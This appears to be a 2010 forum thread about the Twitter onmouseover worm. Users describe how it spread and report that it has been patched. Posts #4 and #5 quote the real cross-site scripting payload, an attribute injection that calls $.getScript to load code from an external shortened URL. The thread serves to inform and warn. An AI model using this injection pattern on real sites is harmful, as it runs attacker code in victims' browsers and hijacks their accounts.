I just noticed a Twitter virus

#1

Post by icodemyownshit » Tue, Sep 21, 2010, 12:21 PM UTC

It spreads when someone hovers over the text on their web-based timeline. It does not appear to spread in search results or individual tweet page.

e.g. http://twitter.com/ibackupyourshit/status/25112187461

I just noticed a Twitter virus
twitter.com

Re: I just noticed a Twitter virus

#2

Post by theDoug » Tue, Sep 21, 2010, 1:01 PM UTC

It's been all over the internet this morning. It's a bug where twitter is allowing onmouseover.

Re: I just noticed a Twitter virus

#3

Post by theDoug » Tue, Sep 21, 2010, 1:02 PM UTC

theDoug wrote: post #2

It's been all over the internet this morning. It's a bug where twitter is allowing onmouseover.

People would be wise to avoid Twitter.com today. Clients should be okay.

Re: I just noticed a Twitter virus

#4

Post by seanieb » Tue, Sep 21, 2010, 1:03 PM UTC

This one links to an external script: hxxp://t.co/@%22style=%22font-size:999999999999px;%22onmouseover=%22$.getScript(%27http:%5Cu002f%5Cu002fis.gd%5Cu002ffl9A7%27)%22

It also makes the text so big that as soon as it appears in your twitter feed its impossible to avoid mossing over it.

Re: I just noticed a Twitter virus

#5

Post by EGreg » Tue, Sep 21, 2010, 1:15 PM UTC

seanieb wrote: post #4

This one links to an external script: hxxp://t.co/@%22style=%22font-size:999999999999px;%22onmouseover=%22$.getScript(%27http:%5Cu002f%5Cu002fis.gd%5Cu002ffl9A7%27)%22 It also makes the text so big that as soon as it appears in your twitter feed its impossible to avoid mossing over it.

I don't know, these links don't work for me, even with xx replaced with tt.

Nothing is happening. I created an isolated twitter account to try it, and nothing.

Re: I just noticed a Twitter virus

#6

Post by ivey » Tue, Sep 21, 2010, 1:54 PM UTC

It's patched now.

Re: I just noticed a Twitter virus

#7

Post by FSecurePal » Tue, Sep 21, 2010, 2:37 PM UTC

Twitter says exploit patched. They're still trickling through.